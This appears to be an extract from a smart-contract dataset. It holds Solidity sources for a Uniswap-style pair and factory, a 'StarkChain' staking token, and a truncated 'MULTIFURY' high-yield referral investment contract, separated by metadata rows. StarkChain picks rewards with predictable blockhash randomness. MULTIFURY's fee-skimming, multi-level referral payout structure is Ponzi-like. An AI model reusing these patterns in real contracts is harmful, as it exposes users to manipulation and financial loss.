uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
if(timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns(bool feeOn) {
address feeTo = IFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast;
if(feeOn) {
if(_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if(rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if(liquidity > 0) _mint(feeTo, liquidity);
}
}
}
else if(_kLast != 0) kLast = 0;
}
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pair: FORBIDDEN');
token0 = _token0;
token1 = _token1;
}
function mint(address to) external lock returns(uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
if(totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY);
}
else liquidity = Math.min(amount0.mul(totalSupply) / _reserve0, amount1.mul(totalSupply) / _reserve1);
require(liquidity > 0, 'Pair: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Mint(msg.sender, amount0, amount1);
}
function burn(address to) external lock returns(uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
amount0 = liquidity.mul(balance0) / totalSupply;
amount1 = liquidity.mul(balance1) / totalSupply;
require(amount0 > 0 && amount1 > 0, 'Pair: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(token0, to, amount0);
_safeTransfer(token1, to, amount1);
balance0 = ITRC20(token0).balanceOf(address(this));
balance1 = ITRC20(token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pair: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pair: INSUFFICIENT_LIQUIDITY');
require(to != token0 && to != token1, 'Pair: INVALID_TO');
if(amount0Out > 0) _safeTransfer(token0, to, amount0Out);
if(amount1Out > 0) _safeTransfer(token1, to, amount1Out);
if(data.length > 0) ICallee(to).call(msg.sender, amount0Out, amount1Out, data);
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pair: INSUFFICIENT_INPUT_AMOUNT');
{
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000 ** 2), 'Pair: Bad swap');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
function skim(address to) external lock {
_safeTransfer(token0, to, ITRC20(token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(token1, to, ITRC20(token1).balanceOf(address(this)).sub(reserve1));
}
function sync() external lock {
_update(ITRC20(token0).balanceOf(address(this)), ITRC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function getReserves() public view returns(uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
}
contract Factory is IFactory {
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public pairs;
address[] public allPairs;
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function createPair(address tokenA, address tokenB) external returns(address pair) {
require(tokenA != tokenB, 'Factory: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Factory: ZERO_ADDRESS');
require(pairs[token0][token1] == address(0), 'Factory: PAIR_EXISTS');
pair = address(new Pair());
IPair(pair).initialize(token0, token1);
pairs[token0][token1] = pair;
pairs[token1][token0] = pair;
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function getPair(address tokenA, address tokenB) external view returns(address pair) {
pair = tokenA < tokenB ? pairs[tokenA][tokenB] : pairs[tokenB][tokenA];
}
function allPairsLength() external view returns(uint256) {
return allPairs.length;
}
}
| 294,517 | 11,148 |
fbf9a50a62a2ccaf549a12d505650370acc8934be720b0992efd86bdef45c7f1
| 14,049 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/3467_25009_0x1edc9ba729ef6fb017ef9c687b1a37d48b6a166c.sol
| 3,923 | 13,881 |
pragma solidity >=0.5.16 <0.6.9;
pragma experimental ABIEncoderV2;
//YOUWILLNEVERWALKALONE
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract StarkChain {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address payable public fundsWallet;
uint256 public maximumTarget;
uint256 public lastBlock;
uint256 public rewardTimes;
uint256 public genesisReward;
uint256 public premined;
uint256 public nRewarMod;
uint256 public nWtime;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
initialSupply = 8923155 * 10 ** uint256(decimals);
tokenName = "Stark Chain";
tokenSymbol = "STARK";
lastBlock = 0;
nRewarMod = 5700;
nWtime = 7776000;
genesisReward = (10**uint256(decimals)); // dl Miktar
maximumTarget = 100 * 10 ** uint256(decimals);
fundsWallet = msg.sender;
premined = 35850 * 10 ** uint256(decimals);
balanceOf[msg.sender] = premined;
balanceOf[address(this)] = initialSupply;
totalSupply = initialSupply + premined;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function uintToString(uint256 v) internal pure returns(string memory str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(uint8(48 + remainder));
}
bytes memory s = new bytes(i + 1);
for (uint j = 0; j <= i; j++) {
s[j] = reversed[i - j];
}
str = string(s);
}
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a,"-",b));
}
function getCurrentBlockHash() public view returns (uint256) {
return uint256(blockhash(block.number-1));
}
function getBlockHashAlgoritm(uint256 _blocknumber) public view returns(uint256, uint256){
uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod;
return (crew, block.number-1);
}
function checkBlockReward() public view returns (uint256, uint256) {
uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod;
return (crew, block.number-1);
}
struct stakeInfo {
uint256 _stocktime;
uint256 _stockamount;
}
address[] totalminers;
mapping (address => stakeInfo) nStockDetails;
struct rewarddetails {
uint256 _artyr;
bool _didGetReward;
bool _didisign;
}
mapping (string => rewarddetails) nRewardDetails;
struct nBlockDetails {
uint256 _bTime;
uint256 _tInvest;
}
mapping (uint256 => nBlockDetails) bBlockIteration;
struct activeMiners {
address bUser;
}
mapping(uint256 => activeMiners[]) aMiners;
function totalMinerCount() view public returns (uint256) {
return totalminers.length;
}
function addressHashs() view public returns (uint256) {
return uint256(msg.sender) % 10000000000;
}
function stakerStatus(address _addr) view public returns(bool){
if(nStockDetails[_addr]._stocktime == 0)
{
return false;
}
else
{
return true;
}
}
function stakerAmount(address _addr) view public returns(uint256){
if(nStockDetails[_addr]._stocktime == 0)
{
return 0;
}
else
{
return nStockDetails[_addr]._stockamount;
}
}
function stakerActiveTotal() view public returns(uint256) {
return aMiners[lastBlock].length;
}
function generalCheckPoint() private view returns(string memory) {
return append(uintToString(addressHashs()),uintToString(lastBlock));
}
function necessarySignForReward(uint256 _bnumber) public returns (uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber <= 100);
require(nStockDetails[msg.sender]._stocktime + nWtime > now);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
if(bBlockIteration[lastBlock]._bTime + 1800 < now)
{
lastBlock += 1;
bBlockIteration[lastBlock]._bTime = now;
}
require(nRewardDetails[generalCheckPoint()]._artyr == 0);
bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount;
nRewardDetails[generalCheckPoint()]._artyr = now;
nRewardDetails[generalCheckPoint()]._didGetReward = false;
nRewardDetails[generalCheckPoint()]._didisign = true;
aMiners[lastBlock].push(activeMiners(msg.sender));
return 200;
}
function rewardGet(uint256 _bnumber) public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber > 100);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
require(nStockDetails[msg.sender]._stocktime + nWtime > now);
require(nRewardDetails[generalCheckPoint()]._didGetReward == false);
require(nRewardDetails[generalCheckPoint()]._didisign == true);
uint256 halving = lastBlock / 365;
uint256 totalRA = 128 * genesisReward;
if(halving==0)
{
totalRA = 128 * genesisReward;
}
else if(halving==1)
{
totalRA = 256 * genesisReward;
}
else if(halving==2)
{
totalRA = 512 * genesisReward;
}
else if(halving==3)
{
totalRA = 1024 * genesisReward;
}
else if(halving==4)
{
totalRA = 2048 * genesisReward;
}
else if(halving==5)
{
totalRA = 4096 * genesisReward;
}
else if(halving==6)
{
totalRA = 8192 * genesisReward;
}
else if(halving==7)
{
totalRA = 4096 * genesisReward;
}
else if(halving==8)
{
totalRA = 2048 * genesisReward;
}
else if(halving==9)
{
totalRA = 1024 * genesisReward;
}
else if(halving==10)
{
totalRA = 512 * genesisReward;
}
else if(halving==11)
{
totalRA = 256 * genesisReward;
}
else if(halving==12)
{
totalRA = 128 * genesisReward;
}
else if(halving==13)
{
totalRA = 64 * genesisReward;
}
else if(halving==14)
{
totalRA = 32 * genesisReward;
}
else if(halving==15)
{
totalRA = 16 * genesisReward;
}
else if(halving==16)
{
totalRA = 8 * genesisReward;
}
else if(halving==17)
{
totalRA = 4 * genesisReward;
}
else if(halving==18)
{
totalRA = 2 * genesisReward;
}
else if(halving==19)
{
totalRA = 1 * genesisReward;
}
else if(halving>19)
{
totalRA = 1 * genesisReward;
}
uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100;
nRewardDetails[generalCheckPoint()]._didGetReward = true;
_transfer(address(this), msg.sender, usersReward);
return usersReward;
}
function startMining(uint256 mineamount) public returns (uint256) {
uint256 realMineAmount = mineamount * 10 ** uint256(decimals);
require(realMineAmount >= 10 * 10 ** uint256(decimals));
require(nStockDetails[msg.sender]._stocktime == 0);
maximumTarget += realMineAmount;
nStockDetails[msg.sender]._stocktime = now;
nStockDetails[msg.sender]._stockamount = realMineAmount;
totalminers.push(msg.sender);
_transfer(msg.sender, address(this), realMineAmount);
return 200;
}
function tokenPayBack() public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require(nStockDetails[msg.sender]._stocktime + nWtime < now);
nStockDetails[msg.sender]._stocktime = 0;
_transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount);
return nStockDetails[msg.sender]._stockamount;
}
struct memoInfo {
uint256 _receiveTime;
uint256 _receiveAmount;
address _senderAddr;
string _senderMemo;
}
mapping(address => memoInfo[]) memoGetProcess;
function sendMemoToken(uint256 _amount, address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now, _amount, msg.sender, _memo));
_transfer(msg.sender, _to, _amount);
return 200;
}
function sendMemoOnly(address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now,0, msg.sender, _memo));
_transfer(msg.sender, _to, 0);
return 200;
}
function yourMemos(address _addr, uint256 _index) view public returns(uint256,
uint256,
string memory,
address) {
uint256 rTime = memoGetProcess[_addr][_index]._receiveTime;
uint256 rAmount = memoGetProcess[_addr][_index]._receiveAmount;
string memory sMemo = memoGetProcess[_addr][_index]._senderMemo;
address sAddr = memoGetProcess[_addr][_index]._senderAddr;
if(memoGetProcess[_addr][_index]._receiveTime == 0){
return (0, 0,"0", _addr);
}else {
return (rTime, rAmount,sMemo, sAddr);
}
}
function yourMemosCount(address _addr) view public returns(uint256) {
return memoGetProcess[_addr].length;
}
function appendMemos(string memory a, string memory b,string memory c,string memory d) internal pure returns (string memory) {
return string(abi.encodePacked(a,"#",b,"#",c,"#",d));
}
function addressToString(address _addr) public pure returns(string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function getYourMemosOnly(address _addr) view public returns(string[] memory) {
uint total = memoGetProcess[_addr].length;
string[] memory messages = new string[](total);
for (uint i=0; i < total; i++) {
messages[i] = appendMemos(uintToString(memoGetProcess[_addr][i]._receiveTime),memoGetProcess[_addr][i]._senderMemo,uintToString(memoGetProcess[_addr][i]._receiveAmount),addressToString(memoGetProcess[_addr][i]._senderAddr));
}
return messages;
}
}
| 230,095 | 11,149 |
74b80683b680a409decb61f30a5f201451baa21561247a2472342f31f4a06503
| 23,215 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fb/fbf3dcf145dc940cd931d12b8298c35f7a7950a3_MULTIFURY_TOKENv1.sol
| 5,565 | 19,625 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
}
contract MULTIFURY_TOKENv1 {
using SafeERC20 for IERC20;
IERC20 public token;
//accept funds from external
receive() external payable {}
uint256 public startDate;
address payable public WALLET_PROJECT;
address payable public WALLET_MARKETING;
address payable public WALLET_FUND;
address payable public WALLET_SPONSOR;
uint256 public constant PERCENTS_DIVIDER = 1000;
uint256 public constant TIME_STEP = 1 days;
uint256 public constant INVEST_MIN_AMOUNT = 10 * (10**6); // 10 UST
uint256[] public REFERRAL_PERCENTS = [70, 30, 20, 10, 5]; // 7% 3% 2% 1% 0.5%
uint256 public constant PROJECT_FEE = 30; // project fee 3% of deposit
uint256 public constant MARKETING_FEE = 30; // marketing fee 3% of deposit
uint256 public constant FUND_FEE = 30; // fund fee 3% of deposit
uint256 public constant SPONSOR_FEE = 30; // sponsor fee 3% of deposit
uint256 public constant MAX_WITHDRAW_AMOUNT = 2500 * (10**6); // claim 2500 UST max
uint256 public constant WITHDRAW_COOLDOWN = TIME_STEP / 4; // claim 4 times per day
uint256 public constant REINVEST_PERCENT = 100; // auto reinvest 10% of claim
mapping(uint256 => THistoryDeposit) public DEPOSIT_HISTORY;
uint256 public TOTAL_DEPOSITS;
uint256 public TOTAL_INVESTED;
uint256 public TOTAL_REFDIVIDENDS;
uint256 public TOTAL_CLAIMED;
struct TPlan {
uint256 durationDays;
uint256 percent;
}
struct TDeposit {
uint256 planIdx;
uint256 amount;
uint256 timeStart;
uint256 timeEnd;
bool isReinvest;
}
struct THistoryDeposit {
uint256 timestamp;
uint256 duration;
uint256 amount;
}
struct TUser {
uint256 checkpoint;
TDeposit[] deposits;
TDeposit[] depHistory;
uint256[5] refCount;
address referrer;
uint256 refDividends;
uint256 debtBuffer;
uint256 totalInvested;
uint256 totalRefDividends;
uint256 totalClaimed;
}
TPlan[] public PLANS;
mapping(address => TUser) public USERS;
event ProjectFeePaid(uint256 amount);
event MarketingFeePaid(uint256 amount);
event FundFeePaid(uint256 amount);
event SponsorFeePaid(uint256 amount);
event Reinvested(uint256 amount);
event InsuranseFeePaid(uint256 amount);
event Claimed(address user, uint256 amount);
event InitiateInsurance(uint256 high, uint256 current);
event RefInvited(address referrer, address user);
event RefDividends(address referrer,
address user,
uint256 refLevel,
uint256 amount);
event Newcomer(address user);
event NewDeposit(address user, uint256 planIdx, uint256 amount);
uint256 public stat_maxDepositArrayLength;
address public stat_maxDepositArrayUser;
uint256 public stat_depositsReusedCounter;
constructor(address _tokenAddress,
address payable _walletMarketing,
address payable _walletFund,
address payable _walletSponsor,
uint256 startTime) {
WALLET_PROJECT = payable(msg.sender);
WALLET_MARKETING = _walletMarketing;
WALLET_FUND = _walletFund;
WALLET_SPONSOR = _walletSponsor;
if (startTime > 0) {
startDate = startTime;
} else {
startDate = block.timestamp;
}
token = IERC20(_tokenAddress);
PLANS.push(TPlan(7, 200));
PLANS.push(TPlan(8, 184));
PLANS.push(TPlan(9, 171));
PLANS.push(TPlan(10, 161));
PLANS.push(TPlan(11, 152));
PLANS.push(TPlan(12, 145));
PLANS.push(TPlan(13, 140));
PLANS.push(TPlan(14, 135));
PLANS.push(TPlan(15, 130));
PLANS.push(TPlan(16, 126));
PLANS.push(TPlan(17, 123));
PLANS.push(TPlan(18, 120));
PLANS.push(TPlan(19, 117));
PLANS.push(TPlan(20, 115));
PLANS.push(TPlan(21, 113));
PLANS.push(TPlan(22, 111));
PLANS.push(TPlan(23, 109));
PLANS.push(TPlan(24, 107));
PLANS.push(TPlan(25, 106));
PLANS.push(TPlan(26, 104));
PLANS.push(TPlan(27, 103));
PLANS.push(TPlan(28, 102));
PLANS.push(TPlan(29, 101));
PLANS.push(TPlan(30, 100));
}
function invest(address _referrer,
uint8 _planIdx,
uint256 amount) public {
require(amount >= INVEST_MIN_AMOUNT, "The deposit amount is too low");
require(_planIdx < PLANS.length, "Invalid plan index");
require(block.timestamp > startDate, "contract does not launch yet");
require(amount <= token.allowance(msg.sender, address(this)));
token.safeTransferFrom(msg.sender, address(this), amount);
//transfer project fee
uint256 pfee = (amount * PROJECT_FEE) / PERCENTS_DIVIDER;
token.safeTransfer(WALLET_PROJECT, pfee);
emit ProjectFeePaid(pfee);
//transfer marketing fee
uint256 mfee = (amount * MARKETING_FEE) / PERCENTS_DIVIDER;
token.safeTransfer(WALLET_MARKETING, mfee);
emit MarketingFeePaid(mfee);
//transfer fund fee
uint256 ffee = (amount * FUND_FEE) / PERCENTS_DIVIDER;
token.safeTransfer(WALLET_FUND, ffee);
emit FundFeePaid(ffee);
//transfer sponsor fee
uint256 sfee = (amount * SPONSOR_FEE) / PERCENTS_DIVIDER;
token.safeTransfer(WALLET_SPONSOR, sfee);
emit SponsorFeePaid(sfee);
_setUserReferrer(msg.sender, _referrer);
_allocateReferralRewards(msg.sender, amount);
_createDeposit(msg.sender, _planIdx, amount, false);
}
function claim() public {
TUser storage user = USERS[msg.sender];
uint256 claimAmount = _getUserDividends(msg.sender) +
user.refDividends +
user.debtBuffer;
require(claimAmount > 0, "Nothing to withdraw");
require(_canClaim(msg.sender), "Claim cooldown");
user.checkpoint = block.timestamp; //clear accumulated dividends
user.refDividends = 0; //clear refDividends
user.debtBuffer = 0; //clear debtBuffer
//not enough contract balance? give what we can, promise to refund later
uint256 balance = token.balanceOf(address(this));
if (claimAmount > balance) {
user.debtBuffer += claimAmount - balance;
claimAmount = balance;
}
//anti-whale protection
if (claimAmount > MAX_WITHDRAW_AMOUNT) {
user.debtBuffer += claimAmount - MAX_WITHDRAW_AMOUNT;
claimAmount = MAX_WITHDRAW_AMOUNT;
}
//reinvest
uint256 reinvestAmount = (claimAmount * REINVEST_PERCENT) /
PERCENTS_DIVIDER;
_createDeposit(msg.sender, 0, reinvestAmount, true);
emit Reinvested(reinvestAmount);
claimAmount -= reinvestAmount;
//withdraw to user wallet
user.totalClaimed += claimAmount;
TOTAL_CLAIMED += claimAmount;
token.safeTransfer(msg.sender, claimAmount);
emit Claimed(msg.sender, claimAmount);
}
function UpdateStartDate(uint256 _startDate) public {
require(msg.sender == WALLET_PROJECT,
"Only developer can update start date");
require(block.timestamp < startDate, "Start date must be in future");
startDate = _startDate;
}
function _canClaim(address _user) internal view returns (bool) {
return (block.timestamp - USERS[_user].checkpoint >= WITHDRAW_COOLDOWN);
}
function _setUserReferrer(address _user, address _referrer) internal {
if (USERS[_user].referrer != address(0)) return; //already has a referrer
if (USERS[_referrer].deposits.length == 0) return; //referrer doesnt exist
if (_user == _referrer) return; //cant refer to yourself
//adopt
USERS[_user].referrer = _referrer;
//loop through the referrer hierarchy, increase every referral Levels counter
address upline = USERS[_user].referrer;
for (uint256 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if (upline == address(0)) break;
USERS[upline].refCount[i]++;
upline = USERS[upline].referrer;
}
emit RefInvited(_referrer, _user);
}
function _allocateReferralRewards(address _user, uint256 _depositAmount)
internal
{
uint256 refsamount;
//loop through the referrer hierarchy, allocate refDividends
address upline = USERS[_user].referrer;
for (uint256 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if (upline != address(0)) {
uint256 amount = (_depositAmount * REFERRAL_PERCENTS[i]) /
PERCENTS_DIVIDER;
USERS[upline].refDividends += amount;
USERS[upline].totalRefDividends += amount;
TOTAL_REFDIVIDENDS += amount;
upline = USERS[upline].referrer;
emit RefDividends(upline, _user, i, amount);
} else {
uint256 amount = (_depositAmount * REFERRAL_PERCENTS[i]) /
PERCENTS_DIVIDER;
refsamount += amount;
TOTAL_REFDIVIDENDS += amount;
}
}
if (refsamount > 0) {
token.safeTransfer(WALLET_MARKETING, refsamount / 4);
token.safeTransfer(WALLET_FUND, refsamount / 4);
token.safeTransfer(WALLET_PROJECT, refsamount / 4);
token.safeTransfer(WALLET_SPONSOR, refsamount / 4);
}
}
function _createDeposit(address _user,
uint256 _planIdx,
uint256 _amount,
bool _isReinvest) internal returns (uint256 o_depIdx) {
TUser storage user = USERS[_user];
//first deposit: set initial checkpoint
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newcomer(_user);
}
TDeposit memory newDep = TDeposit(_planIdx,
_amount,
block.timestamp,
block.timestamp + PLANS[_planIdx].durationDays * TIME_STEP,
_isReinvest);
//reuse a deceased slot or create new
bool found;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (_isDepositDeceased(_user, i)) {
user.deposits[i] = newDep;
o_depIdx = i;
found = true;
stat_depositsReusedCounter++;
break;
}
}
if (!found) {
o_depIdx = user.deposits.length;
user.deposits.push(newDep);
}
//if not reinvest - update global stats
if (!_isReinvest) {
user.depHistory.push(newDep);
user.totalInvested += _amount;
DEPOSIT_HISTORY[TOTAL_DEPOSITS] = THistoryDeposit(block.timestamp,
PLANS[_planIdx].durationDays * TIME_STEP,
_amount);
TOTAL_DEPOSITS++;
TOTAL_INVESTED += _amount;
}
//technical data
if (stat_maxDepositArrayLength < user.deposits.length) {
stat_maxDepositArrayLength = user.deposits.length;
stat_maxDepositArrayUser = _user;
}
emit NewDeposit(_user, newDep.planIdx, newDep.amount);
}
function _isDepositDeceased(address _user, uint256 _depIdx)
internal
view
returns (bool)
{
return (USERS[_user].checkpoint >=
USERS[_user].deposits[_depIdx].timeEnd);
}
function _calculateDepositDividends(address _user, uint256 _depIdx)
internal
view
returns (uint256 o_amount)
{
TUser storage user = USERS[_user];
TDeposit storage deposit = user.deposits[_depIdx];
//calculate withdrawable dividends starting from the last Claim checkpoint
uint256 totalReward = (deposit.amount *
PLANS[deposit.planIdx].percent) / PERCENTS_DIVIDER;
uint256 timeA = deposit.timeStart > user.checkpoint
? deposit.timeStart
: user.checkpoint;
uint256 timeB = deposit.timeEnd < block.timestamp
? deposit.timeEnd
: block.timestamp;
if (timeA < timeB) {
o_amount = (totalReward * (timeB - timeA)) / TIME_STEP;
}
}
function _getUserDividends(address _user)
internal
view
returns (uint256 o_amount)
{
for (uint256 i = 0; i < USERS[_user].deposits.length; i++) {
if (_isDepositDeceased(_user, i)) continue;
o_amount += _calculateDepositDividends(_user, i);
}
}
function getProjectInfo()
public
view
returns (uint256 o_totDeposits,
uint256 o_totInvested,
uint256 o_totRefDividends,
uint256 o_totClaimed,
uint256 o_timestamp)
{
return (TOTAL_DEPOSITS,
TOTAL_INVESTED,
TOTAL_REFDIVIDENDS,
TOTAL_CLAIMED,
block.timestamp);
}
function getDepositHistory()
public
view
returns (THistoryDeposit[20] memory o_historyDeposits,
uint256 o_timestamp)
{
o_timestamp = block.timestamp;
uint256 _from = TOTAL_DEPOSITS >= 20 ? TOTAL_DEPOSITS - 20 : 0;
for (uint256 i = _from; i < TOTAL_DEPOSITS; i++) {
o_historyDeposits[i - _from] = DEPOSIT_HISTORY[i];
}
}
struct TPlanInfo {
uint256 dividends;
uint256 mActive;
uint256 rActive;
}
struct TRefInfo {
uint256[5] count;
uint256 dividends;
uint256 totalEarned;
}
struct TUserInfo {
uint256 claimable;
uint256 checkpoint;
uint256 totalDepositCount;
uint256 totalInvested;
uint256 totalClaimed;
}
